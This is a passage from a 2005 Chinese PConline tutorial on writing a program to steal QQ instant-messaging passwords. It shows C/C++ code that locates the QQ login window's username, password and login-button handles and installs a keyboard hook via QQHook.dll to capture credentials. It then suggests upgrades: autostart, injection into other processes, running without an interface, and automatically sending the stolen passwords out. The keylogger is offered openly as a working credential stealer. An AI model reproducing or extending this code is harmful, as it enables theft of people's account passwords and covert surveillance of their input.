正在阅读:编程实现盗2005 Beta2版QQ编程实现盗2005 Beta2版QQ

2005-09-01 10:02 出处:PConline 作者:∮明天去要饭 责任编辑:moningfeng

  (六) 申明导出函数

  (七) 安装钩子
  上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。
     //用户名、密码、登陆按钮的句柄都不为空时安装钩子
     if(hUserName != NULL &&
      hUserPwd != NULL &&
      hLoginButton != NULL)
     {
      //得到DLL模块的句柄
      hDll = GetModuleHandle("QQHook.dll");
      if(hDll == NULL)
      {
       return FALSE;
      }
      //安装键盘钩子
      bKeyBoardHook = SetKeyBoardHook(
       TRUE,
       hDll,
       hLoginWindow,
       hUserName,
       hUserPwd,
       hLoginButton,
       dwCreateWindowProcessID);    
      if(bKeyBoardHook == FALSE)
      {
       printf("调用键盘钩子失败!");
       return FALSE;
      }
     }

  以上就是盗QQ程序的关键代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:
  1. 改进记录密码的代码。
  2. 加入对鼠标点击“登录QQ”进行HOOK的代码。
  3. 设置成自动启动。
  4. 注入到别的进程中。
  5. 运行的时候没有界面,记录下来后自动发送密码。

  由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,特别要感谢兰陵笑笑生给我提供思路。

键盘也能翻页,试试“← →”键

相关文章

关注我们

最新资讯离线随时看 聊天吐槽赢奖品